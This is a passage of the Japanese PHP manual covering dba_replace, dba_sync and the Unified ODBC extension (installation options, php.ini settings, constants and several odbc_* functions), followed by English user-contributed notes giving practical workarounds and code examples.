
key

置換するエントリのキー。

value

置換される値。

dba

dba_open() あるいは dba_popen() によって返されたデータベースハンドル。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • dba_exists() - キーが存在するかどうかを確認する
  • dba_delete() - キーが指す DBA エントリを削除する
  • dba_fetch() - キーが指すデータを取得する
  • dba_insert() - エントリを挿入する

User Contributed Notes

domokosendrejanos [at] gmail [dot] com 18-Nov-2015 08:23
Sorry for my very bad english. The dba_replace function not working (example: http://prog.hu/tudastar/189455/dba-replace-problema & http://dev.developer-works.com/article/9019279/%5BPHP5%5D+DBA+function+error+when+writing+ini+file+with+groups). This code works (but only on inifiles):

function dba_update($key, $value, $dbfileurl) {

    if(file_exists($dbfileurl)) {

        $key = trim($key);
        $value = trim($value);

        $index = explode("]", $key);
        $index[0] = str_replace("[", "", $index[0]);

        $dbarray = parse_ini_file($dbfileurl, true);

        if(count($index) > 1) {

            if(in_array($value, $dbarray)) { return FALSE; } elseif(isset($dbarray[$index[0]][$index[1]])) {

                $dbarray[$index[0]][$index[1]] = $value;

                $result = "";

                foreach ($dbarray as $row_name => $row_value) {

                    $result .= "\n[$row_name]\n\n";

                    foreach ($row_value as $column_name => $column_value) {

                        if(is_numeric($column_value)) { $result .= "$column_name = $column_value\n\n"; }

                            else { $result .= "$column_name = '".$column_value."'\n\n"; }

                    }

                }

            }

        } else {

            if(in_array($value, $dbarray)) { return FALSE; } elseif(isset($key)) {

                $dbarray[$key] = $value;

                $result = "";

                foreach ($dbarray as $key_name => $key_value) {

                    if(is_numeric($key_value)) { $result .= "$key_name = $key_value\n\n"; }

                        else { $result .= "$key_name = '".$key_value."'\n\n"; }

                }

            }

        }

        file_put_contents($dbfileurl, $result);

    } else { return FALSE; }

return TRUE;

}

Calling the function:

dba_update("[$section]$key", $value, "example/dir/content.ini");

or (one dimension array):

dba_update($key, $value, "example/dir/content.ini");
khan666 at lycos dot co dot kr 03-Dec-2010 02:24
berkeley db : fetch array & display example

<?php
# DB4 FETCH
$DB4_DATABASE = "/data/TEST_DATA.DB";

$db = dba_open($DB4_DATABASE,"r","db4");
$k  = dba_firstkey($db);

while($k != NULL)
{
      $AAA = explode("\xFE",dba_fetch($k, $db));
      echo "[key] $k => [value] $AAA[0] / $AAA[1] / $AAA[2] / $AAA[3] / $AAA[4] / $AAA[5]<br>\r\n";

    $k = dba_nextkey($db);
}
dba_close($db);
?>
cbemerine at gmail dot com 06-Sep-2009 06:36
QDBM and GDBM appear to be the only DBA handlers that will allow dba_replace to work correctly.  The DBA Handlers must be compiled or built into the version you are using.  See dba_handlers (http://www.php.net/manual/en/function.dba-handlers.php) for more specific information:

Also when you search online you will see mention of "security" related issue, supposedly, related to the dba_replace() function.  In every instance of the "security" issue documented online, the dba_open function specified the DBA handler option of "inifile".  DBA handler "inifile" is intended for the management of ini files specifically.  Here are the dba_open and dba_replace code snippets related to this "security" issue:

<?php
$source=dba_open("/www/about.ini", "wlt", "inifile");
dba_replace("HOME","/www/",$source);
?>

I have also seen errors listed online with DB4 and use of the dba_replace function.  Though I am skeptical of those reports.  Unfortunately I do not have a database with the DB4 handlers compiled in to check if there is an issue with dba_replace and the DB4 DBA handler or not.  At least you are aware that there may be an issue and can check if need be.

Assuming the correct DBA handlers are "built" or compiled into your database when built for the packages you are using, there is probably not an issue with dba_replace() and actual database files.  If you experience a problem with dba_replace() make sure you build in DBA handlers QDBM or GDBM.

You can not build in both QDBM and GDBM together in the same build, however you probably can build in both INIFILE and FLATFILE with either QDBM or GDBM.  It is unclear if you can build in either db3 or db4 with QDBM or GDBM.  It appears that DB4, CDB, INIFILE and FLATFILE are often built together.

see User contributed notes for dba_handlers() and dba_open() related to CDB.
jelte dot werkhoven at itfy dot com 26-Sep-2002 07:24
Not only will dba_replace add extra entries when trying to replace an existing smaller one, it will always add a new entry if the size of the value differs from the existing entry. This is probably due to the nature of the datum struct in DBM-type databases (I work with gdbm), which consist of a void pointer and a integer containing the size of the memory pointed to. Padding the value should solve this.
swain at panix dot com 06-Nov-2001 11:03
Note that if you replace an existing entry with a larger one, it will actually create a new entry and the old one is simply lost. This is a memory leak in other words.

You might want to try padding your values to a certain size before putting them in the db file; for example, if you are storing web pages in the db, pad them out to the next 500 byte size with spaces, and strip the spaces when you read it out. This will go a long way in saving disk space. I've seen db files grow to several megabytes with only a couple hundred text files in them.


データベースを同期する

  • ≪ dba_replace
  • ODBC ≫
  • PHP Manual
  • DBA 関数
  • データベースを同期する

dba_sync

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_sync — データベースを同期する

説明

dba_sync ( resource $dba ) : bool

dba_sync() は データベースを同期します。サポートされる場合には、 おそらくディスクへの物理的アクセスへのきっかけとなることでしょう。

パラメータ

dba

dba_open() あるいは dba_popen() によって返されたデータベースハンドル。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • dba_optimize() - データベースを最適化する

User Contributed Notes

There are no user contributed notes for this page.


ODBC (Unified)

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • ODBC 関数
    • odbc_autocommit — 自動コミットの動作をオンまたはオフにする
    • odbc_binmode — バイナリカラムデータを処理する
    • odbc_close_all — 全ての ODBC 接続を閉じる
    • odbc_close — ODBC 接続を閉じる
    • odbc_columnprivileges — 指定したテーブルに関するカラムおよび付随する権限のリストを取得する
    • odbc_columns — 指定したテーブルにあるカラム名のリストを取得する
    • odbc_commit — ODBC トランザクションをコミットする
    • odbc_connect — データソースに接続する
    • odbc_cursor — カーソル名を得る
    • odbc_data_source — 利用可能なDSNについての情報を返す
    • odbc_do — odbc_exec のエイリアス
    • odbc_error — 直近のエラーコードを得る
    • odbc_errormsg — 直近のエラーメッセージを得る
    • odbc_exec — SQL文を直接実行する
    • odbc_execute — プリペアドステートメントを実行する
    • odbc_fetch_array — 連想配列として結果の行を取得する
    • odbc_fetch_into — 一行ぶんの結果を配列に取り込む
    • odbc_fetch_object — オブジェクトとして結果の行を取得する
    • odbc_fetch_row — 行を取り込む
    • odbc_field_len — フィールドの長さ (精度) を得る
    • odbc_field_name — カラム名を得る
    • odbc_field_num — カラム番号を返す
    • odbc_field_precision — odbc_field_len のエイリアス
    • odbc_field_scale — フィールドの精度を得る
    • odbc_field_type — フィールドのデータ型を返す
    • odbc_foreignkeys — 外部キーのリストを取得する
    • odbc_free_result — 結果を保持するリソースを開放する
    • odbc_gettypeinfo — データソースがサポートするデータ型についての情報を取得する
    • odbc_longreadlen — LONG カラムを処理する
    • odbc_next_result — 複数の結果が利用可能などうか確認する
    • odbc_num_fields — 結果のカラム数を返す
    • odbc_num_rows — 結果における行数を返す
    • odbc_pconnect — 持続的なデータベース接続を開く
    • odbc_prepare — 実行用に文を準備する
    • odbc_primarykeys — テーブルの主キーを取得する
    • odbc_procedurecolumns — プロシージャへのパラメータに関する情報を取得する
    • odbc_procedures — 指定したデータソースに保存されているプロシージャのリストを取得する
    • odbc_result_all — HTML テーブルとして結果を出力する
    • odbc_result — 結果データを得る
    • odbc_rollback — トランザクションをロールバックする
    • odbc_setoption — ODBC の設定を変更する
    • odbc_specialcolumns — 特殊カラムを取得する
    • odbc_statistics — テーブルに関する統計情報を取得する
    • odbc_tableprivileges — 各テーブルのリストおよび関連する権限のリストを取得する
    • odbc_tables — 指定したデータソースに保存されたテーブルの名前のリストを取得する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

通常の ODBC サポートに加えて、PHP の Unified ODBC 関数では、各々の API を実装するために ODBC API のセマンティックスを借用する複数の データベースにアクセスすることが可能です。ほとんど同じ複数のデータベース ドライバを維持管理する代わりに、これらのドライバは単一の ODBC 関数セットに 統合されています。

以下のデータベースが Unified ODBC でサポートされています。 » Adabas D, » IBM DB2, » iODBC, » Solid, » Sybase SQL Anywhere

注意:

iODBC を除き、上のデータベースと接続する際には ODBC は使用しません。 内部ではネイティブに通信しており、単に ODBC 関数と同じ名前や構文を用いているだけです。 しかし、PHP を iODBC サポートつきでビルドすると、 任意の ODBC 準拠のドライバを PHP アプリケーションから使用できるようになります。 iODBC についてのより詳細な情報は » www.iodbc.org にあります。 またもうひとつの方法である unixODBC は » www.unixodbc.org にあります。

User Contributed Notes

There are no user contributed notes for this page.


要件

サポートされるデータベースにアクセスするためには、 所定のライブラリがインストールされている必要があります。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

--with-adabas[=DIR]

Adabas D サポートを有効にします。DIR はAdabas をインストールしたディレクトリで、 /usr/local がデフォルトです。

--with-sapdb[=DIR]

SAP DB サポートを有効にします。DIR は SAP DB のベースインストールディレクトリで、 /usr/local がデフォルトです。

--with-solid[=DIR]

Solidサポートを有効にします。DIR は Solid のベースインストールディレクトリで、 /usr/local/solid がデフォルトです。

--with-ibm-db2[=DIR]

IBM DB2 サポートを有効にします。DIR は IBM DB2 のベースインストールディレクトリで、 /home/db2inst1/sqllib がデフォルトです。

--with-empress[=DIR]

Empress サポートを有効にします。DIR は Empress のベースインストールディレクトリで、 $EMPRESSPATH がデフォルトです。 このオプションは Empress バージョン 8.60 以降のみをサポートします。

--with-empress-bcs[=DIR]

"Empress ローカルアクセス"のサポートを有効にします。DIR は Empress の ベースインストールディレクトリで、$EMPRESSPATH がデフォルトです。 このオプションは Empress バージョン 8.60 以降のみをサポートします。

--with-birdstep[=DIR]

Birdstep サポートを有効にします。DIR は Birdstep のベースインストールディレクトリで、 /usr/local/birdstep がデフォルトです。

--with-custom-odbc[=DIR]

ユーザー定義の ODBC サポートを有効にします。DIR は ODBC のベースインストールディレクトリで、 /usr/local がデフォルトです。 CUSTOM_ODBC_LIBS が定義され、odbc.h がインクルードパスに あることを確認してください。 例えば、QNX上 の Sybase SQL Anywhere 5.5.00 では、configure スクリプトを実行する 前に以下を定義する必要があります。

   CPPFLAGS="-DODBC_QNX -DSQLANY_BUG"
   LDFLAGS=-lunix
   CUSTOM_ODBC_LIBS="-ldblib -lodbc".

--with-iodbc[=DIR]

iODBC サポートを有効にします。DIR は iODBC のベースインストールディレクトリで、 /usr/local がデフォルトです。

--with-esoob[=DIR]

Easysoft OOB サポートを有効にします。DIR は OOB のベースインストールディレクトリで、 /usr/local/easysoft/oob/client がデフォルトです。

--with-unixODBC[=DIR]

unixODBC サポートを有効にします。DIR は unixODBC のベースインストールディレクトリで、 /usr/local がデフォルトです。

--with-openlink[=DIR]

OpenLink ODBC サポートを有効にします。DIR は OpenLink のベースインストールディレクトリで、 /usr/local がデフォルトです。 これは、iODBC と同じものです。

--with-dbmaker[=DIR]

DBMaker サポートを有効にします。DIR は DBMaker のベースインストールディレクトリで、 デフォルトは最新版の DBMaker がインストールされている場所 (例えば /home/dbmaker/3.6)です。

Windows 版の PHP には この拡張モジュールのサポートが組み込まれています。これらの関数を使用 するために拡張モジュールを追加でロードする必要はありません。

ただし、PHP 7.0.0 以降、Windows ユーザーはこの拡張を使用するために php_odbc.dll を有効にする必要があります。

User Contributed Notes

alvaro at demogracia dot com 24-Jul-2012 07:18
To avoid ≪[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified≫:

- Find the ODBC manager in Windows control panel and check the "Drivers" tab. Please note that 64 bit Windows has two different managers for 32 [1] and 64 bit drivers: drivers must match your PHP installation.

- If the required driver doesn't show up there, you need to install it. The free "Microsoft Access Database Engine 2010 Redistributable" package [2] is one of the possibilities for Access and Excel.

- When connecting with odbc_connect(), make sure you are using the exact driver name in the DRIVER parameter: 'Microsoft Access Driver (*.mdb)' will not work if your driver is called 'Microsoft Access Driver (*.mdb, *.accdb)'.

[1] C:\Windows\SysWOW64\odbcad32.exe
[2] http://www.microsoft.com/en-us/download/details.aspx?id=13255


実行時設定

php.ini の設定により動作が変化します。

Unified ODBC 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
odbc.default_db * | NULL | PHP_INI_ALL |
odbc.default_user * | NULL | PHP_INI_ALL |
odbc.default_pw * | NULL | PHP_INI_ALL |
odbc.allow_persistent | "1" | PHP_INI_SYSTEM |
odbc.check_persistent | "1" | PHP_INI_SYSTEM |
odbc.max_persistent | "-1" | PHP_INI_SYSTEM |
odbc.max_links | "-1" | PHP_INI_SYSTEM |
odbc.defaultlrl | "4096" | PHP_INI_ALL |
odbc.defaultbinmode | "1" | PHP_INI_ALL |
odbc.default_cursortype | "3" | PHP_INI_ALL | PHP5.3.0 以降で使用可能

注意: * マークがついているエントリは未実装です。

PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

odbc.default_db string

odbc_connect() または odbc_pconnect()でODBCデータソースが 指定されない場合に使用される ODBC データソース。

odbc.default_user string

odbc_connect() または odbc_pconnect() で名前が指定されない場合 に使用される名前。

odbc.default_pw string

odbc_connect() または odbc_pconnect() でパスワードが指定されない場合 に使用されるパスワード。

odbc.allow_persistent bool

持続的 ODBC 接続を許可するかどうか。

odbc.check_persistent bool

再利用する前に接続が有効であることを確認します。

odbc.max_persistent int

プロセス毎の持続的 ODBC 接続の最大数。

odbc.max_links int

プロセス毎の持続的接続を含む ODBC 接続の最大数。

odbc.defaultlrl int

LONG フィールドの処理。変数に返されるバイト数を指定します。 詳細は odbc_longreadlen() を参照して下さい。

intを使用する際、 その値はバイト単位で測られます。 この FAQ に記載された 短縮表記を使用することも可能です。
odbc.defaultbinmode int

バイナリデータの処理モード。 詳細は odbc_binmode() を参照して下さい。

odbc.default_cursortype int

ODBC のカーソルモデルを制御します。 使用できる値は SQL_CURSOR_FORWARD_ONLY、 SQL_CURSOR_KEYSET_DRIVEN、 SQL_CURSOR_DYNAMIC および SQL_CURSOR_STATIC (デフォルト) です。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

この拡張モジュールでは、ODBC 接続 ID および ODBC 結果 ID の二種類のリソースを定義しています。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

ODBC_TYPE (int)
ODBC_BINMODE_PASSTHRU (int)
ODBC_BINMODE_RETURN (int)
ODBC_BINMODE_CONVERT (int)
SQL_ODBC_CURSORS (int)
SQL_CUR_USE_DRIVER (int)
SQL_CUR_USE_IF_NEEDED (int)
SQL_CUR_USE_ODBC (int)
SQL_CONCURRENCY (int)
SQL_CONCUR_READ_ONLY (int)
SQL_CONCUR_LOCK (int)
SQL_CONCUR_ROWVER (int)
SQL_CONCUR_VALUES (int)
SQL_CURSOR_TYPE (int)
SQL_CURSOR_FORWARD_ONLY (int)
SQL_CURSOR_KEYSET_DRIVEN (int)
SQL_CURSOR_DYNAMIC (int)
SQL_CURSOR_STATIC (int)
SQL_KEYSET_SIZE (int)
SQL_CHAR (int)
SQL_VARCHAR (int)
SQL_LONGVARCHAR (int)
SQL_DECIMAL (int)
SQL_NUMERIC (int)
SQL_BIT (int)
SQL_TINYINT (int)
SQL_SMALLINT (int)
SQL_INTEGER (int)
SQL_BIGINT (int)
SQL_REAL (int)
SQL_FLOAT (int)
SQL_DOUBLE (int)
SQL_BINARY (int)
SQL_VARBINARY (int)
SQL_LONGVARBINARY (int)
SQL_DATE (int)
SQL_TIME (int)
SQL_TIMESTAMP (int)
SQL_TYPE_DATE (int)
SQL_TYPE_TIME (int)
SQL_TYPE_TIMESTAMP (int)
SQL_BEST_ROWID (int)
SQL_ROWVER (int)
SQL_SCOPE_CURROW (int)
SQL_SCOPE_TRANSACTION (int)
SQL_SCOPE_SESSION (int)
SQL_NO_NULLS (int)
SQL_NULLABLE (int)
SQL_INDEX_UNIQUE (int)
SQL_INDEX_ALL (int)
SQL_ENSURE (int)
SQL_QUICK (int)

User Contributed Notes

There are no user contributed notes for this page.


ODBC 関数

目次

  • odbc_autocommit — 自動コミットの動作をオンまたはオフにする
  • odbc_binmode — バイナリカラムデータを処理する
  • odbc_close_all — 全ての ODBC 接続を閉じる
  • odbc_close — ODBC 接続を閉じる
  • odbc_columnprivileges — 指定したテーブルに関するカラムおよび付随する権限のリストを取得する
  • odbc_columns — 指定したテーブルにあるカラム名のリストを取得する
  • odbc_commit — ODBC トランザクションをコミットする
  • odbc_connect — データソースに接続する
  • odbc_cursor — カーソル名を得る
  • odbc_data_source — 利用可能なDSNについての情報を返す
  • odbc_do — odbc_exec のエイリアス
  • odbc_error — 直近のエラーコードを得る
  • odbc_errormsg — 直近のエラーメッセージを得る
  • odbc_exec — SQL文を直接実行する
  • odbc_execute — プリペアドステートメントを実行する
  • odbc_fetch_array — 連想配列として結果の行を取得する
  • odbc_fetch_into — 一行ぶんの結果を配列に取り込む
  • odbc_fetch_object — オブジェクトとして結果の行を取得する
  • odbc_fetch_row — 行を取り込む
  • odbc_field_len — フィールドの長さ (精度) を得る
  • odbc_field_name — カラム名を得る
  • odbc_field_num — カラム番号を返す
  • odbc_field_precision — odbc_field_len のエイリアス
  • odbc_field_scale — フィールドの精度を得る
  • odbc_field_type — フィールドのデータ型を返す
  • odbc_foreignkeys — 外部キーのリストを取得する
  • odbc_free_result — 結果を保持するリソースを開放する
  • odbc_gettypeinfo — データソースがサポートするデータ型についての情報を取得する
  • odbc_longreadlen — LONG カラムを処理する
  • odbc_next_result — 複数の結果が利用可能などうか確認する
  • odbc_num_fields — 結果のカラム数を返す
  • odbc_num_rows — 結果における行数を返す
  • odbc_pconnect — 持続的なデータベース接続を開く
  • odbc_prepare — 実行用に文を準備する
  • odbc_primarykeys — テーブルの主キーを取得する
  • odbc_procedurecolumns — プロシージャへのパラメータに関する情報を取得する
  • odbc_procedures — 指定したデータソースに保存されているプロシージャのリストを取得する
  • odbc_result_all — HTML テーブルとして結果を出力する
  • odbc_result — 結果データを得る
  • odbc_rollback — トランザクションをロールバックする
  • odbc_setoption — ODBC の設定を変更する
  • odbc_specialcolumns — 特殊カラムを取得する
  • odbc_statistics — テーブルに関する統計情報を取得する
  • odbc_tableprivileges — 各テーブルのリストおよび関連する権限のリストを取得する
  • odbc_tables — 指定したデータソースに保存されたテーブルの名前のリストを取得する

User Contributed Notes

chaz_meister_rock at yahoo dot com 29-Aug-2007 11:54
Windows 64 Caveats with ODBC

I'm pretty sure PHP only accesses the 32-bit ODBC stuff on Windows 64.  Therefore, you will need to configure your ODBC DSNs via the Data Source Administrator found at:

/WINDOWS/SysWOW64/odbcad32.exe
11-Oct-2006 07:28
I had big performance problems retrieving data form MS SQL Server with odbc only when the query was unsing a join.

I found out, that I had to connect with the cursor-type "SQL_CUR_USE_ODBC" and everything was ok:

$conn = odbc_connect("ShopLive", 'shop', 'xxx', SQL_CUR_USE_ODBC);
sven at ajaxtechforums dot com 27-Feb-2006 03:07
I found this to be a perfect alternative to the MaxDB special drivers of version 7.5.00. Just weren't that easy to install on *nix. Windows seems fine. Anyway The ODBC is a perfect alternative for connecting the SAPDB/MaxDB towards PHP.

Installation guide for the odbc alternative (instead of the MAXDB-php driver) can be found here:

http://maxdb.yapabout.com/viewtopic.php?t=21
xangelusx at hotmail dot com 11-Nov-2005 07:45
If you receive an error stating "Connection is busy with results for another hstmt, SQL state S1000 in SQLExecDirect" try opening your odbc connection using the SQL_CURSOR_FORWARD_ONLY option

<?php
$db_link = odbc_connect($dsn, $username, $password, SQL_CURSOR_FORWARD_ONLY)
    or die('Error connecting to server. Server says: '.htmlspecialchars(odbc_errormsg()));
?>
Quickdraw 05-May-2005 11:06
In response to Holger's comment about using @@identity:

Be carefull. If the table you're inserting into has a trigger that also inserts into another table that has an identity column you'll get the key of that other table! use scope_identity() instead of @@identity
04-May-2005 08:14
I searched for the solution of why odbc connection of a network remote drive under Windows + Apache 2.0.X, cannot give the query, but seems no one provides the solution.

In fact, it is very simple.
Go to Control Panal -> Services;
Find and double click "Apache2";
In the page of "Log On", choose Log on as "This account" and give an account in the web server system which have the right to control the network remote drive;
Finally, restart Apache, and that's it.
denials at gmail dot com 23-Jan-2005 03:05
Ever wonder why you're experiencing really slow data retrieval times using IBM DB2 Universal Database for Linux, UNIX, and Windows? The default cursor type used by Unified ODBC is not supported by DB2, so it gets downgraded to a forward-only cursor -- and that negotiation occurs with every row fetch.

One way to force your PHP applications to use forward-only cursors is to modify your DB2 client configuration with a handy CLI patch2 setting value of 6:

$ db2 UPDATE CLI CONFIGURATION FOR SECTION dbname USING patch2 6

You have to update this client setting on the same machine on which you are running the PHP application. This works on Windows operating systems as well as on Linux & UNIX operating systems.

I ran a few basic benchmarks (fetch 10,000 rows consisting of 3 INTEGER columns from a remote database server) and concluded that this setting can make a major difference to your application speed:

Without CLI patch2 setting: ~22 seconds
With CLI patch2 setting: ~ 1.75 seconds

Note that the drawback of using this patch setting (or any other method of using forward-only cursors) makes odbc_num_rows() always return "-1" for the number of rows affected by a SELECT statement.
pascals at NOSPAM dot pobox dot com 27-Feb-2004 03:15
If the bundled ODBC library stumbles on some field formats (like some REAL from Pervasive.SQL), have a look at http://odbtp.sourceforge.net/.

After many headaches, I have adoped odbtp: it's a very solid library and best of all it's not tied to a particular OS.
vbwebprofi at gmx dot de 04-Nov-2003 04:31
On my search for a function to retriew the NewID of an inserted row wich has an autoincrement I found this solution like the mysql_insert_id for an ODBC connection to MS-Access :

<?
// make your connection below
$Connection = odbc_connect(...);
$Result = odbc_exec($Connection, "select @@identity");
$NewID = odbc_result($Result, 1);
odbc_free_result($Result);

// make here all what you want with the NewID

odbc_close($Connection);
?>

In my mind this should also work with MS-SQL-Server and with Sybase - via ODBC and direct (mssql_.../sybase_...).

HTH ...

Regards

Holger


自動コミットの動作をオンまたはオフにする

  • ≪ ODBC 関数
  • odbc_binmode ≫
  • PHP Manual
  • ODBC 関数
  • 自動コミットの動作をオンまたはオフにする

odbc_autocommit

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_autocommit — 自動コミットの動作をオンまたはオフにする

説明

odbc_autocommit ( resource $odbc , bool $enable = false ) : int|bool

自動コミットの挙動を切り替えます。

デフォルトで接続の自動コミットはオンとなっています。自動コミットを 使用不可にするのは、トランザクションを開始することと等価です。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

enable

enable が true の場合は自動コミットが可能であり、 false の場合は自動コミットが使用不可となっています。

返り値

enable パラメータを指定しない場合、 この関数は、odbc に関する 自動コミットの状態を返します。自動コミットがオンの場合に 非ゼロ、オフの場合にゼロ、エラーを生じた場合に false を返します。

enable が設定されている場合は、 この関数は成功時に true、失敗したときに false を返します。

参考

  • odbc_commit() - ODBC トランザクションをコミットする
  • odbc_rollback() - トランザクションをロールバックする

User Contributed Notes

alvaro at demogracia dot com 06-Aug-2008 01:18
If you are using persistent connections (odbc_pconnect rather than odbc_connect) the next script that reuses the connection will inherit your changes to autocommit.
Orgied - info at orgied dot com 05-Apr-2005 11:58
Hi (i'm belgian then sorry for my english).

I think you can do more simple to check the errors :

$conn = odbc_connect($odbc,$user,$password)
    or die($error);

odbc_autocommit($conn, FALSE);

odbc_exec($conn, $query1);
odbc_exec($conn, $query2);

if (!odbc_error())
      odbc_commit($conn);
else
      odbc_rollback($conn);

odbc_close($conn);

I'm not sure it's better to use odbc_error() than
odbc_error($conn). It seems to be the same result.
Joe 26-May-2004 09:01
It seems that example made by andrea dot galli at acotel dot com works exactly the contrary.

It sets autocommit OFF and NOT ON like it's written inside note!
JRog 25-Jun-2003 01:30
If a transaction is started (autocommit disabled) while there is an active result id on the connection, odbc_autocommit will post a warning (Cannot set autocommit).  Use odbc_free_result to clear the result id's or start the transaction before you execute the SQL.
andrea dot galli at acotel dot com 28-Apr-2003 09:48
Example: set autocommit on

<?php

   $Link_ID = odbc_connect("DSN", "user", "pass");

    $Return = odbc_autocommit($Link_ID, FALSE);

?>
alonsoalonsocr at yahoo dot com 08-Oct-2001 03:09
When used in a odbc_fetch loop your selected resultset is lost and loop ends.


バイナリカラムデータを処理する

  • ≪ odbc_autocommit
  • odbc_close_all ≫
  • PHP Manual
  • ODBC 関数
  • バイナリカラムデータを処理する

odbc_binmode

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_binmode — バイナリカラムデータを処理する

説明

odbc_binmode ( resource $statement , int $mode ) : bool

バイナリカラムデータを処理する方法を制御します。 (関係するODBC SQL型: BINARY, VARBINARY, LONGVARBINARY)。 デフォルトの処理モードは、php.ini の uodbc.defaultbinmode 経由で設定できます。

バイナリ SQL データが文字データに変換される時 (ODBC_BINMODE_CONVERT)、ソースデータの 各バイト (8 ビット) は、2 つのアスキー文字で表現されます。 これらの文字は、16 進表現で数値をアスキー文字で表現したものです。 例えば、2 進数 00000001 は "01" に変換され、 11111111 は "FF" に変換されます。

BINARY と VARBINARY 型のカラムを処理する方法は binmode によって決まります。LONGVARBINARY 型のカラムを処理する方法は、 longreadlen にも依存します:

LONGVARBINARY 処理
binmode | longreadlen | 結果
ODBC_BINMODE_PASSTHRU | >0 | 通過
ODBC_BINMODE_RETURN | >0 | 通過
ODBC_BINMODE_CONVERT | >0 | 通過
ODBC_BINMODE_PASSTHRU | 0 | 通過
ODBC_BINMODE_RETURN | >0 | そのまま返す
ODBC_BINMODE_CONVERT | >0 | char として返す

odbc_fetch_into() を使用した場合、 「通過」は空文字列が対応するカラムに返されることを意味します。 odbc_result() を使用した場合、 「通過」はデータがクライアントに直接送信されることを意味します(つまり、表示されます)。

パラメータ

statement

結果 ID。

statement に 0 を指定した場合、 ここで設定した値は、新規の結果に関するデフォルト値として用いられます。

mode

mode には、以下の値が指定できます。

  • ODBC_BINMODE_PASSTHRU: BINARY データとして通過
  • ODBC_BINMODE_RETURN: そのまま返す
  • ODBC_BINMODE_CONVERT: char に変換し返す

注意: LONGVARBINARY 型のカラムを処理する方法は odbc_longreadlen() によっても影響を受けます。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

yhalmoe at yahoo dot no 14-Dec-2009 08:45
For Sybase users (this probably applies to MS-SQL Server as well) who are using ODBC:

I was using the same code as mizmerize, but I was getting truncated data back from the server (at the 32kb mark) when selecting data with the image datatype. My Sybase server has a @@textsize property of 2Gb, which should be plenty. But apparently, the php ODBC driver resets this to 32Kb when a connection is made, and then sets it back to 2Gb after. The solution is to do a query:

<?php odbc_exec($connH, "set textsize 131072"); ?>

immediately before your main query, in mizmerize's code. That should override the default setting.
bortuzar 12-Feb-2009 07:28
I set the odbc_longreadlen() at the beggining of my script so nText field types dont get truncated, like this:

<?php odbc_longreadlen (0, 1000000); ?>
mizmerize at yahoo dot com 10-Jan-2006 06:59
I am currently using an SQL Server 2000 used as a datasource for ODBC access, Testing PHP scripts from an Apache 2 server running on Windows 2000.

I was trying to get an image from the database using ODBC but the output always flushes automatically while I was just getting the result using odbc_result() function.

With this code, the picture automatically prints to the browser as soon as I hit odbc_result() (probably a bug, but bug reports aren't that easy to do).

<?php
  $connH=odbc_pconnect("ImageDB","sa","",SQL_CUR_USE_IF_NEEDED) or die(odbc_errormsg());
    $result=odbc_exec($connH, "SELECT Emp_Image FROM tblEmployeePics WHERE Emp_Id=547");
    if ($result) {
        odbc_longreadlen($result, 131072);
        odbc_binmode($result,ODBC_BINMODE_PASSTHRU);
//upon calling this, the output flushes out to the browser... made me scratch
$m_FValue=odbc_result($result, 1);
}
?>

...after 48 hours of scratching I finally made a work around, but by using a function in the bin2hex() function documentation...

<?php
      function hex2bin($data){
       $len = strlen($data);
       return pack("H" . $len, $data);
    }

    $connH=odbc_pconnect("ImageDB","sa","",SQL_CUR_USE_IF_NEEDED) or die(odbc_errormsg());
    $result=odbc_exec($connH, "SELECT Emp_Image FROM tblEmployeePics WHERE Emp_Id=547");
    if ($result) {
        odbc_longreadlen($result, 131072);
        odbc_binmode($result,ODBC_BINMODE_CONVERT);
        $m_FValue=odbc_result($result, 1);
        $out=hex2bin($m_FValue);
    }
?>

The trick was to convert the output into hex by changing odbc_binmode to  ODBC_BINMODE_CONVERT and using a handy function to convert it back to binary in order to facilitate manipulation of its size, depth etc...
andrea dot galli at acotel dot com 28-Apr-2003 08:27
Example: retrieve image from database.

<?php

   $Link_ID = odbc_connect("DSN", "user", "pass");
   $Query_ID = odbc_exec($Link_ID, "SELECT picture FROM categories");

   // change to ODBC_BINMODE_CONVERT for comparison

   odbc_binmode($Query_ID, ODBC_BINMODE_RETURN);

   $Images = odbc_result($Query_ID, 1);

   echo $Images;

?>


全ての ODBC 接続を閉じる

  • ≪ odbc_binmode
  • odbc_close ≫
  • PHP Manual
  • ODBC 関数
  • 全ての ODBC 接続を閉じる

odbc_close_all

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_close_all — 全ての ODBC 接続を閉じる

説明

odbc_close_all ( ) : void

odbc_close_all()は、 データベースサーバーへの全ての接続を閉じます。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

注意

注意:

この関数は、ある接続においてオープンされたトランザクションがある場合に失敗します。 この場合、この接続はオープンされたままとなります。

User Contributed Notes

alvaro at demogracia dot com 19-Sep-2008 02:08
Apparently, it doesn't really close *all* connections; just those used by the current script.

If you are using persistent connections, every time a script does an odbc_pconnect() and all open connections are in use you'll get a new connection with the same credentials. You won't close them all with odbc_close_all().


ODBC 接続を閉じる

  • ≪ odbc_close_all
  • odbc_columnprivileges ≫
  • PHP Manual
  • ODBC 関数
  • ODBC 接続を閉じる

odbc_close

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_close — ODBC 接続を閉じる

説明

odbc_close ( resource $odbc ) : void

指定された接続 ID が指すデータベースサーバーへの接続を閉じます。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

返り値

値を返しません。

注意

注意:

この関数の処理は、この接続に関してオープンされたトランザクションがある場合に失敗します。 この場合、接続はオープンされたままとなります。

User Contributed Notes

alvaro at demogracia dot com 26-Mar-2018 10:33
